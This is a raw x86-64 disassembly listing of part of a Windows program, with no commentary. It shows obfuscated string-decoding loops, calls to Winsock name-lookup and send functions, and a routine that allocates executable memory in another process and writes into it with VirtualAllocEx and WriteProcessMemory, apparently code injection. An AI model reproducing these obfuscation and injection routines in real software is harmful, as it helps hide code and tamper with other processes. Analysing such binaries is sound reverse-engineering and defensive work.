sub r11b, 0x76
jmp 0x1401c39bb
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1401c34ee
mov ecx, 0x26
movzx r10d, dil
lea edx, [r10 - 0x54]
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1401c3b19
mov byte [rsp + rdi + 0x60], r11b
inc rdi
jmp 0x1401c3143
movzx ecx, byte [rsp + rdi + 0x60]
movzx r10d, dil
lea edx, [r10 + 0x38]
movzx eax, dl
and al, bl
sub cl, al
add cl, 0x3c
lea r11d, [rcx + rcx]
add r11b, dl
movzx eax, bl
add r10b, 0x1b
and al, r10b
add al, al
sub bl, al
add bl, 0x43
add bl, r11b
add bl, r10b
mov byte [rsp + rdi + 0x60], bl
jmp 0x1401c3b72
mov ecx, 7
movzx r10d, dil
lea edx, [r10 - 2]
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x1401c3a4e
lea ecx, [rdi - 0x6b]
movzx eax, cl
and al, bl
add al, al
sub cl, al
movzx eax, byte [rsp + rdi + 0x60]
add rax, r9
add rdi, rax
lea r11d, [rbx + rcx]
sub r11b, 0x13
inc rdi
jmp 0x1401c3143
lea ecx, [rdi - 0x31]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x57
jmp 0x1401c3a75
movzx r10d, dil
lea ecx, [r10 + 9]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x3f
sub r10b, 0x1f
inc r9
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
sub r10b, 0x27
add r10b, bl
movzx eax, r10b
mov byte [rsp + rdi + 0x60], al
add rax, r9
sub rdi, rax
lea ecx, [rdi - 0x3c]
inc r8
movzx eax, cl
and al, bl
add al, al
sub cl, al
mov rax, 0xffffffffffffffff
sub rax, r8
sub cl, 0x5c
add cl, bl
mov byte [rsp + rdi + 0x60], cl
add rdi, rax
movzx eax, byte [rsp + rdi + 0x60]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1401c3143
lea ecx, [rdi + 0x43]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x2b
jmp 0x1401c3b75
lea ecx, [rdi - 0xf]
dec rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x69
inc rdi
jmp 0x1401c3143
movzx r10d, dil
lea ecx, [r10 + 0x65]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x3d
jmp 0x1401c3b19
movzx r10d, dil
lea ecx, [r10 - 0x27]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x11
movzx eax, bl
add r10b, 0x55
and al, r10b
add al, al
sub bl, al
sub bl, 0x53
add bl, r10b
mov byte [rsp + rdi + 0x60], bl
inc r9
dec rdi
inc rdi
jmp 0x1401c3143
lea ecx, [rdi + 0x4d]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x1b
dec rdi
inc rdi
jmp 0x1401c3143
lea ecx, [rdi - 0x3f]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x47
add r8, r9
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1401c3143
movabs rcx, 0x6ae53d1d347972a9
add rcx, rdi
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r11d, [rdx + rcx]
add r11b, 0x61
movzx eax, byte [rsp + rdi + 0x60]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1401c3143
sub dil, 0x11
movzx eax, bl
and al, dil
add al, al
sub bl, al
lea r11d, [rdi + rbx]
add r11b, 0x77
xor ebx, ebx
jmp 0x1401c3140
add dil, 0x29
movzx eax, bl
and al, dil
add al, al
sub bl, al
lea r11d, [rdi + rbx]
sub r11b, 0x1f
xor ebx, ebx
jmp 0x1401c3130
lea r8, [rbp + 0x14857e4]
jmp 0x1401c3c10
lea r8, [rbp + 0x14628c7]
jmp 0x1401c3c10
lea r8, [rsp + 0x60]
mov rcx, qword [r15 + 0x68]
lea r9, [rbp - 0x58]
mov rdx, rsi
call fcn.1401c1de0
test al, al
je 0x1401c48e4
movzx r10d, byte [rbp + 0x10e0]
xor ebx, ebx
xorps xmm0, xmm0
mov qword [rbp - 0x50], rbx
movups xmmword [rbp - 0x69], xmm0
mov dword [rbp - 0x78], 0x93786e8f
movabs r14, 0xd163075ce1b0bbe1
mov dword [rbp - 0x74], 0x806d707c
mov dword [rbp - 0x70], 0x60726162
mov word [rbp - 0x6c], 0x7477
mov byte [rbp - 0x6a], 0xc8
nop word [rax + rax]
mov rax, qword [0x14051e4d0]
mov r9, qword [0x14051e4d8]
nop
mov rdi, rbx
cmp rdi, 0x1f
jae 0x1401c4784
movzx ebx, byte [rbp + rdi - 0x78]
mov r8, rbx
cmp rax, rdi
ja 0x1401c477b
lea rcx, [r9 + 1]
cmp rax, rcx
jae 0x1401c3cc0
lea r10, [rdi + r14]
movzx ecx, r10b
and cl, r8b
add cl, cl
sub r10b, cl
sub r10b, 0x27
add r10b, r8b
jmp 0x1401c3d00
je 0x1401c4704
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x1401c4682
lea rcx, [r9 + 5]
cmp rax, rcx
je 0x1401c4633
lea rcx, [r9 + 2]
cmp rax, rcx
je 0x1401c4611
lea rcx, [r9 + 6]
cmp rax, rcx
je 0x1401c45d2
nop word [rax + rax]
cmp r9, rdi
ja 0x1401c4772
lea rcx, [r9 + 0x1000]
cmp rax, rcx
jae 0x1401c3d2b
lea edx, [rdi + 0x75]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r10d, [rbx + rdx]
sub r10b, 0x33
jmp 0x1401c3d60
lea rcx, [r9 + 1]
cmp rax, rcx
je 0x1401c45b7
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x1401c4598
lea rcx, [r9 + 5]
cmp rax, rcx
je 0x1401c457f
lea rcx, [r9 + 7]
cmp rax, rcx
je 0x1401c4558
nop
lea rcx, [r9 + rax]
cmp rcx, rdi
jbe 0x1401c429d
nop dword [rax]
lea rcx, [r9 + 0x28]
cmp rax, rcx
je 0x1401c4279
lea rcx, [r9 + 1]
cmp rax, rcx
je 0x1401c4257
lea rcx, [r9 + 0x5a]
cmp rax, rcx
je 0x1401c4238
lea rcx, [r9 + 0x7a]
cmp rax, rcx
je 0x1401c4214
lea rcx, [r9 + 0x20]
cmp rax, rcx
je 0x1401c41f4
lea rcx, [r9 + 0xa]
cmp rax, rcx
je 0x1401c41db
lea rcx, [r9 + 0x41]
cmp rax, rcx
je 0x1401c41bb
lea rcx, [r9 + 0x61]
cmp rax, rcx
je 0x1401c419b
lea rcx, [r9 + 0x400]
cmp rax, rcx
je 0x1401c4174
lea rcx, [r9 + 9]
cmp rax, rcx
je 0x1401c3d70
lea rax, [r9 + 8]
lea r9, [rax + 6]
lea rcx, [r9 + 5]
cmp rax, rcx
jb 0x1401c4754
lea rcx, [r9 + 0x400]
cmp rax, rcx
jb 0x1401c4736
lea rcx, [r9 + 0x200]
cmp rax, rcx
jb 0x1401c3f52
lea rcx, [r9 + 0x64]
cmp rax, rcx
jb 0x1401c3f39
lea rcx, [r9 + 4]
cmp rax, rcx
jb 0x1401c3f20
lea rcx, [r9 + 2]
cmp rax, rcx
jb 0x1401c4129
lea rdx, [r9 + 0x2a]
cmp rax, rdx
jb 0x1401c40e8
lea rcx, [r9 + 0x42]
cmp rax, rcx
jb 0x1401c40ae
lea rcx, [r9 + 0x28]
cmp rax, rcx
jb 0x1401c408d
lea rcx, [r9 + 0x10]
cmp rax, rcx
jb 0x1401c3d70
lea r9, [rdx + 0x5a]
mov rax, rdx
lea rcx, [r9 + 0x41]
cmp rdx, rcx
ja 0x1401c4066
lea rcx, [r9 + 0x61]
cmp rdx, rcx
ja 0x1401c404d
lea rcx, [r9 + 0x10]
cmp rdx, rcx
ja 0x1401c402d
lea rcx, [r9 + 9]
cmp rdx, rcx
ja 0x1401c4014
lea rcx, [r9 + 6]
cmp rdx, rcx
ja 0x1401c3ffb
lea rcx, [r9 + 0x1000]
cmp rdx, rcx
ja 0x1401c3fd7
lea rcx, [r9 + 0x3e8]
cmp rdx, rcx
ja 0x1401c3fb1
lea rcx, [r9 + 8]
cmp rdx, rcx
ja 0x1401c3f8f
lea rcx, [r9 + 5]
cmp rdx, rcx
ja 0x1401c3f6b
lea rcx, [r9 + 3]
cmp rdx, rcx
ja 0x1401c3d70
lea rax, [r9 + 2]
lea r9, [rax + 0x200]
jmp 0x1401c3d70
lea edx, [rdi + 0x2b]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r10d, [rbx + rdx]
sub r10b, 0x2d
jmp 0x1401c3d60
lea edx, [rdi + 0x69]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r10d, [rbx + rdx]
add r10b, 0x21
jmp 0x1401c3d00
lea edx, [rdi - 0x59]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r10d, [rbx + rdx]
add r10b, 0x6f
jmp 0x1401c3c92
lea r8d, [rdi - 0x58]
mov edx, reloc.WS2_32.dll_gethostbyname
movzx ecx, r8b
movzx r11d, dil
and cl, bl
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r8b
add r10b, bl
jmp 0x1401c45eb
lea edx, [rdi - 0x1a]
inc r9
movzx ecx, dl
dec rdi
and cl, bl
add cl, cl
sub dl, cl
lea r10d, [rbx + rdx]
sub r10b, 0x4a
inc rdi
jmp 0x1401c3c83
lea r8d, [rdi + 0x24]
mov edx, 2
movzx ecx, r8b
dec rdi
and cl, bl
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r8b
add r10b, bl
inc rdi
jmp 0x1401c3c83
lea r8d, [rdi + 0x62]
mov edx, 0x29
movzx ecx, r8b
movzx r11d, dil
and cl, bl
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r8b
add r10b, bl
jmp 0x1401c464c
lea edx, [rdi - 0x60]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r10d, [rbx + rdx]
sub r10b, 0x60
jmp 0x1401c4666
lea edx, [rdi - 0x22]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r10d, [rbx + rdx]
sub r10b, 0x12
jmp 0x1401c4669
lea r8d, [rdi + 0x1c]
mov edx, 0x1e
movzx ecx, r8b
and cl, bl
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r8b
add r10b, bl
jmp 0x1401c46a5
lea edx, [rdi + 0x5a]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r10d, [rbx + rdx]
sub r10b, 0x76
jmp 0x1401c46cc
lea edx, [rdi - 0x68]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
movzx ecx, byte [rbp + rdi - 0x78]
add rcx, r9
add rdi, rcx
lea r10d, [rbx + rdx]
sub r10b, 0x28
inc rdi
jmp 0x1401c3c83
lea edx, [rdi + 0x33]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r10d, [rbx + rdx]
sub r10b, 0x65
mov byte [rbp + rdi - 0x78], r10b
inc rdi
jmp 0x1401c3c83
lea edx, [rdi + 0x71]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r10d, [rbx + rdx]
sub r10b, 0x17
cmp r9, 4
jb 0x1401c40a1
movzx r11d, dil
lea edx, [r11 - 0x5a]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
add dl, bl
lea r10d, [rdx*2 - 0x14]
jmp 0x1401c45eb
lea edx, [rdi - 0x51]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r10d, [rbx + rdx]
add r10b, 0x37
cmp rax, 0x20
jae 0x1401c4517
lea rcx, [r9 + 0x10]
cmp rax, rcx
jbe 0x1401c4422
lea edx, [rdi + 0x12]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r10d, [rbx + rdx]
sub r10b, 0x7e
jmp 0x1401c40c2
lea edx, [rdi - 0x13]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r10d, [rbx + rdx]
sub r10b, 0x7b
lea rcx, [r9 + rax]
cmp rcx, 0x3e8
je 0x1401c453b
lea rcx, [r9 + 0x200]
cmp rax, rcx
jbe 0x1401c436a
lea edx, [rdi - 0x63]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r10d, [rbx + rdx]
sub r10b, 0x4b
jmp 0x1401c40fc
lea edx, [rdi - 0x42]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
movzx ecx, byte [rbp + rdi - 0x78]
add rcx, r9
add rdi, rcx
lea r10d, [rbx + rdx]
sub r10b, 0x32
inc rdi
jmp 0x1401c3c83
lea r8d, [rdi - 4]
mov edx, ntohs
movzx ecx, r8b
and cl, bl
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r8b
add r10b, bl
jmp 0x1401c46cc
lea r8d, [rdi + 0x3a]
mov edx, getservbyname
movzx ecx, r8b
and cl, bl
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r8b
add r10b, bl
jmp 0x1401c46a5
lea edx, [rdi + 0x78]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r10d, [rbx + rdx]
sub r10b, 0x48
jmp 0x1401c4669
lea r8d, [rdi - 0x4a]
mov edx, 3
movzx ecx, r8b
and cl, bl
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r8b
add r10b, bl
jmp 0x1401c4666
mov edx, 0x2a
movzx r11d, dil
lea r8d, [r11 - 0xc]
movzx ecx, r8b
and cl, bl
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r8b
add r10b, bl
jmp 0x1401c464c
lea edx, [rdi + 0x32]
dec rdi
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r10d, [rbx + rdx]
sub r10b, 0x5e
inc rdi
jmp 0x1401c3c83
lea edx, [rdi + 0x70]
inc r9
movzx ecx, dl
dec rdi
and cl, bl
add cl, cl
sub dl, cl
lea r10d, [rbx + rdx]
sub r10b, 0x10
inc rdi
jmp 0x1401c3c83
mov edx, 0x1f
movzx r11d, dil
lea r8d, [r11 - 0x52]
movzx ecx, r8b
and cl, bl
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r8b
add r10b, bl
jmp 0x1401c45eb
lea rcx, [r9 + 0x42]
cmp rax, rcx
jae 0x1401c42bf
lea edx, [rdi - 0x1f]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r10d, [rbx + rdx]
sub r10b, 0x27
jmp 0x1401c413d
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x1401c42ef
lea edx, [rdi - 0x16]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
movzx ecx, byte [rbp + rdi - 0x78]
add rcx, r9
add rdi, rcx
lea r10d, [rbx + rdx]
sub r10b, 0x66
inc rdi
jmp 0x1401c3c83
inc rcx
cmp rax, rcx
jne 0x1401c4310
lea edx, [rdi + 0x30]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r10d, [rbx + rdx]
sub r10b, 0x50
jmp 0x1401c4669
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x1401c4339
lea r8d, [rdi - 0xe]
mov edx, gethostbyaddr
movzx ecx, r8b
and cl, bl
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r8b
add r10b, bl
jmp 0x1401c4666
lea rcx, [r9 + 5]
cmp rax, rcx
jne 0x1401c413d
mov edx, 0xa
movzx r11d, dil
lea r8d, [r11 - 0x4c]
movzx ecx, r8b
and cl, bl
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r8b
add r10b, bl
jmp 0x1401c464c
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x1401c4391
movzx r11d, dil
lea edx, [r11 + 0x5f]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r10d, [rbx + rdx]
add r10b, 0x67
jmp 0x1401c45eb
inc rcx
cmp rax, rcx
jne 0x1401c43b8
lea edx, [rdi - 0x1d]
dec rdi
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r10d, [rbx + rdx]
sub r10b, 0x35
inc rdi
jmp 0x1401c3c83
lea rcx, [r9 + 2]
cmp rax, rcx
jne 0x1401c43da
lea edx, [rdi + 0x67]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r10d, [rbx + rdx]
add r10b, 0x2f
jmp 0x1401c4666
lea rcx, [r9 + 4]
cmp rax, rcx
jne 0x1401c43fc
lea edx, [rdi + 0x29]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r10d, [rbx + rdx]
sub r10b, 0x1f
jmp 0x1401c4669
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x1401c40fc
lea edx, [rdi - 0x53]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r10d, [rbx + rdx]
add r10b, 0x45
jmp 0x1401c46cc
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x1401c4459
lea r8d, [rdi - 0x2c]
mov edx, 0x1a
movzx ecx, r8b
and cl, bl
sub dl, cl
movzx ecx, byte [rbp + rdi - 0x78]
add rcx, r9
add rdi, rcx
lea r10d, [rdx + rdx]
add r10b, r8b
add r10b, bl
inc rdi
jmp 0x1401c3c83
inc rcx
cmp rax, rcx
jne 0x1401c447a
lea edx, [rdi + 0x58]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r10d, [rbx + rdx]
sub r10b, 0x68
jmp 0x1401c46a5
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x1401c44a3
lea r8d, [rdi + 0x1a]
mov edx, 0x25
movzx ecx, r8b
and cl, bl
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r8b
add r10b, bl
jmp 0x1401c4669
lea rcx, [r9 + 4]
cmp rax, rcx
jne 0x1401c44c5
lea edx, [rdi - 0x24]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r10d, [rbx + rdx]
sub r10b, 4
jmp 0x1401c4666
lea rcx, [r9 + 6]
cmp rax, rcx
jne 0x1401c44ec
movzx r11d, dil
lea edx, [r11 - 0x62]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r10d, [rbx + rdx]
sub r10b, 0x52
jmp 0x1401c464c
lea rcx, [r9 + 7]
cmp rax, rcx
jne 0x1401c40c2
movzx r11d, dil
lea edx, [r11 - 0x1c]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r10d, [rbx + rdx]
sub r10b, 0x3c
jmp 0x1401c45eb
movzx edx, byte [rbp + rdi - 0x78]
movzx r11d, dil
lea r8d, [r11 + 0x68]
movzx ecx, r8b
and cl, bl
sub dl, cl
add dl, 0x14
lea r10d, [rdx + rdx]
add r10b, r8b
jmp 0x1401c464c
lea edx, [rdi + 0x2a]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
sub dl, byte [rbp + rdi - 0x78]
lea r10d, [rbx + rdx]
sub r10b, 0x26
jmp 0x1401c46a5
lea edx, [rdi + 0x47]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
movzx ecx, byte [rbp + rdi - 0x78]
add rcx, r9
add rdi, rcx
lea r10d, [rbx + rdx]
add r10b, 0xf
inc rdi
jmp 0x1401c3c83
lea edx, [rdi + 1]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r10d, [rbx + rdx]
sub r10b, 7
jmp 0x1401c4669
lea edx, [rdi - 0x45]
dec rdi
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r10d, [rbx + rdx]
sub r10b, 0x1d
inc rdi
jmp 0x1401c3c83
movzx r11d, dil
lea edx, [r11 + 0x37]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r10d, [rbx + rdx]
add r10b, 0x7f
jmp 0x1401c45eb
movzx r11d, dil
lea edx, [r11 - 0x4d]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r10d, [rbx + rdx]
add r10b, 0x1b
movzx ecx, bl
sub r11b, 0x79
and cl, r11b
inc r9
add cl, cl
sub bl, cl
add bl, 0x4f
add bl, r11b
mov byte [rbp + rdi - 0x78], bl
dec rdi
inc rdi
jmp 0x1401c3c83
lea edx, [rdi - 0xf]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r10d, [rbx + rdx]
add r10b, 0x69
inc r9
dec rdi
inc rdi
jmp 0x1401c3c83
movzx r11d, dil
lea edx, [r11 + 0x6d]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
lea r10d, [rbx + rdx]
add r10b, 5
movzx ecx, bl
add r11b, 0x49
and cl, r11b
add cl, cl
sub bl, cl
inc bl
add bl, r11b
add bl, r10b
mov byte [rbp + rdi - 0x78], bl
add rax, r9
movzx ecx, r10b
mov rdx, 0xffffffffffffffff
sub rdx, rcx
add rdi, rdx
inc rdi
jmp 0x1401c3c83
movabs rdx, 0xb9b5338a2bd52327
movzx ebx, r8b
add rdx, rdi
movzx ecx, dl
and cl, r8b
add cl, cl
sub dl, cl
lea r10d, [rbx + rdx]
sub r10b, 0x11
lea r8d, [rdi + 0xb]
movzx ecx, bl
and cl, r8b
inc r9
add cl, cl
movzx edx, bl
sub dl, cl
sub dl, 0x4d
add dl, r8b
movzx ecx, dl
mov byte [rbp + rdi - 0x78], cl
add rcx, r9
sub rdi, rcx
lea edx, [rdi - 0x14]
movzx ecx, bl
and cl, dl
inc rax
add cl, cl
sub bl, cl
mov rcx, 0xffffffffffffffff
sub rcx, rax
sub bl, 0x74
add bl, dl
mov byte [rbp + rdi - 0x78], bl
add rdi, rcx
movzx ecx, byte [rbp + rdi - 0x78]
add rcx, r9
add rdi, rcx
inc rdi
jmp 0x1401c3c83
movabs rdx, 0x74291616a51233a3
add rdx, rdi
movzx ecx, dl
and cl, r8b
add cl, cl
sub dl, cl
lea r10d, [r8 + rdx]
sub r10b, 0x75
movzx ecx, byte [rbp + rdi - 0x78]
add rcx, r9
add rdi, rcx
inc rdi
jmp 0x1401c3c83
sub dil, 0x1b
movzx ecx, dil
and cl, bl
add cl, cl
sub dil, cl
lea r10d, [rbx + rdi]
sub r10b, 0x43
xor ebx, ebx
jmp 0x1401c3c80
add dil, 0x23
movzx eax, dil
and al, bl
add al, al
sub dil, al
lea r10d, [rbx + rdi]
add r10b, 0xb
xor ebx, ebx
jmp 0x1401c3c70
lea r8, [rbp + 0x17e3ab4]
jmp 0x1401c4788
lea r8, [rbp + 0xeef695]
jmp 0x1401c4788
lea r8, [rbp - 0x78]
mov rcx, qword [r15 + 0x68]
lea r9, [rbp - 0x50]
mov rdx, rsi
call fcn.1401c1de0
test al, al
je 0x1401c48e4
mov rax, qword [rbp - 0x58]
xor ebx, ebx
mov qword [rbp - 0x40], rax
mov rax, qword [rbp - 0x50]
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x48], rbx
mov dword [rbp - 0x24], ebx
mov rax, qword [r15 + 0x48]
mov qword [rbp - 0x30], rax
mov eax, dword [r15 + 0x70]
mov dword [rbp - 0x28], eax
mov eax, dword [r15 + 0x34]
add rax, qword [r15 + 0x40]
mov qword [rbp - 0x20], rax
cmp r13d, 1
jne 0x1401c4ad5
movzx eax, byte [0x14051e4f0]
mov byte [rbp + 0x10e0], al
movzx eax, byte [0x14051e4f1]
mov byte [rbp + 0x10e1], al
movzx eax, byte [0x14051e4f2]
mov byte [rbp + 0x10e2], al
cmp dword [r15 + 0x74], r13d
jne 0x1401c4a6d
xor edx, edx
mov dword [rbp + 0x2c], ebx
mov r8d, 0x200
lea rcx, [rbp + 0x30]
call sub.VCRUNTIME140.dll_memset
mov edi, dword [rbp - 0x7c]
xor eax, eax
mov ecx, dword [0x14051faa0]
xorps xmm0, xmm0
mov edx, dword [0x14051fa20]
mov r8d, dword [0x14051fa90]
mov qword [rbp + 0x230], rax
mov qword [rbp + 0x258], rax
mov dword [rbp + 0x270], eax
mov qword [rbp + 0x298], rax
mov qword [rbp + 0x2a0], rax
mov qword [rbp + 0x2d8], rax
mov eax, dword [0x14051e4f4]
mov qword [rbp + 0x278], rbx
mov qword [rbp + 0x280], rbx
mov qword [rbp + 0x290], rbx
mov qword [rbp + 0x2a8], rbx
mov word [rbp + 0x2b0], bx
mov qword [rbp + 0x20], 0xaed0de
mov dword [rbp + 0x28], reloc.WS2_32.dll_send
mov dword [rbp + 0x274], edi
mov dword [rbp + 0x288], 0x1000
movups xmmword [rbp + 0x238], xmm0
movups xmmword [rbp + 0x248], xmm0
movups xmmword [rbp + 0x260], xmm0
movups xmmword [rbp + 0x2b8], xmm0
movups xmmword [rbp + 0x2c8], xmm0
test eax, eax
jne 0x1401c4904
mov qword [rbp - 0x20], rbx
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [r12], eax
mov eax, 7
mov rbx, qword [rsp + 0x11e8]
add rsp, 0x11a0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
mov dword [rsp + 0x50], ecx
xor r9d, r9d
lea rcx, [rbp + 0x20]
mov qword [rsp + 0x48], rcx
xor ecx, ecx
mov dword [rsp + 0x40], edx
xor edx, edx
mov qword [rsp + 0x38], rbx
mov dword [rsp + 0x30], r8d
xor r8d, r8d
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], eax
call fcn.1401c7550
mov rbx, qword [rbp + 0x290]
mov qword [rbp - 0x20], rbx
test eax, eax
js 0x1401c48da
test rbx, rbx
je 0x1401c48da
xor esi, esi
lea rcx, [rbp + 0x5b0]
xor edx, edx
mov dword [rbp + 0x5ac], esi
mov r8d, 0x200
call sub.VCRUNTIME140.dll_memset
mov ecx, dword [0x14051faa0]
xor eax, eax
mov edx, dword [0x14051fa20]
xorps xmm0, xmm0
mov r8d, dword [0x14051fa90]
mov qword [rbp + 0x7b0], rax
mov qword [rbp + 0x7d8], rax
mov dword [rbp + 0x7f0], eax
mov qword [rbp + 0x818], rax
mov qword [rbp + 0x820], rax
mov qword [rbp + 0x858], rax
lea rax, [rbp + 0x10e0]
mov qword [rbp + 0x7f8], rax
mov eax, dword [0x14051e4f4]
mov qword [rbp + 0x810], rsi
mov qword [rbp + 0x828], rsi
mov word [rbp + 0x830], si
mov qword [rbp + 0x5a0], 0xaed0de
mov dword [rbp + 0x5a8], 9
mov dword [rbp + 0x7f4], edi
mov qword [rbp + 0x800], rbx
mov dword [rbp + 0x808], 3
movups xmmword [rbp + 0x7b8], xmm0
movups xmmword [rbp + 0x7c8], xmm0
movups xmmword [rbp + 0x7e0], xmm0
movups xmmword [rbp + 0x838], xmm0
movups xmmword [rbp + 0x848], xmm0
test eax, eax
je 0x1401c48da
mov dword [rsp + 0x50], ecx
xor ebx, ebx
lea rcx, [rbp + 0x5a0]
xor r9d, r9d
mov qword [rsp + 0x48], rcx
xor ecx, ecx
mov dword [rsp + 0x40], edx
xor edx, edx
mov qword [rsp + 0x38], rbx
mov dword [rsp + 0x30], r8d
xor r8d, r8d
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], eax
call fcn.1401c7550
test eax, eax
jns 0x1401c4daf
jmp 0x1401c48da
mov rcx, qword [r15 + 0x68]
xor edx, edx
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp - 0x20], rax
test rax, rax
je 0x1401c48da
mov rcx, qword [r15 + 0x68]
lea r8, [rbp + 0x10e0]
mov r9d, 3
mov qword [rsp + 0x20], rbx
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1401c4daf
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [r12], eax
mov eax, 8
jmp 0x1401c48e9
test r13d, r13d
je 0x1401c4ae4
cmp r13d, 3
jne 0x1401c4dbf
xorps xmm0, xmm0
mov ecx, 0xaed0de
movups xmmword [rbp - 0x18], xmm0
movups xmmword [rbp - 8], xmm0
movups xmmword [rbp + 8], xmm0
call fcn.1401c2510
cmp r13d, 3
mov qword [rbp + 8], rax
sete byte [rbp + 0x10]
cmp dword [r15 + 0x74], 1
jne 0x1401c4d58
xor edx, edx
mov dword [rbp + 0x2ec], ebx
mov r8d, 0x200
lea rcx, [rbp + 0x2f0]
call sub.VCRUNTIME140.dll_memset
mov edi, dword [rbp - 0x7c]
xor eax, eax
mov ecx, dword [0x14051faa0]
xorps xmm0, xmm0
mov edx, dword [0x14051fa20]
mov r8d, dword [0x14051fa90]
mov qword [rbp + 0x4f0], rax
mov qword [rbp + 0x518], rax
mov dword [rbp + 0x530], eax
mov qword [rbp + 0x558], rax
mov qword [rbp + 0x560], rax
mov qword [rbp + 0x598], rax
mov eax, dword [0x14051e4f4]
mov qword [rbp + 0x538], rbx
mov qword [rbp + 0x540], rbx
mov qword [rbp + 0x550], rbx
mov qword [rbp + 0x568], rbx
mov word [rbp + 0x570], bx
mov qword [rbp + 0x2e0], 0xaed0de
mov dword [rbp + 0x2e8], reloc.WS2_32.dll_send
mov dword [rbp + 0x534], edi
mov dword [rbp + 0x548], 0x1000
movups xmmword [rbp + 0x4f8], xmm0
movups xmmword [rbp + 0x508], xmm0
movups xmmword [rbp + 0x520], xmm0
movups xmmword [rbp + 0x578], xmm0
movups xmmword [rbp + 0x588], xmm0
test eax, eax
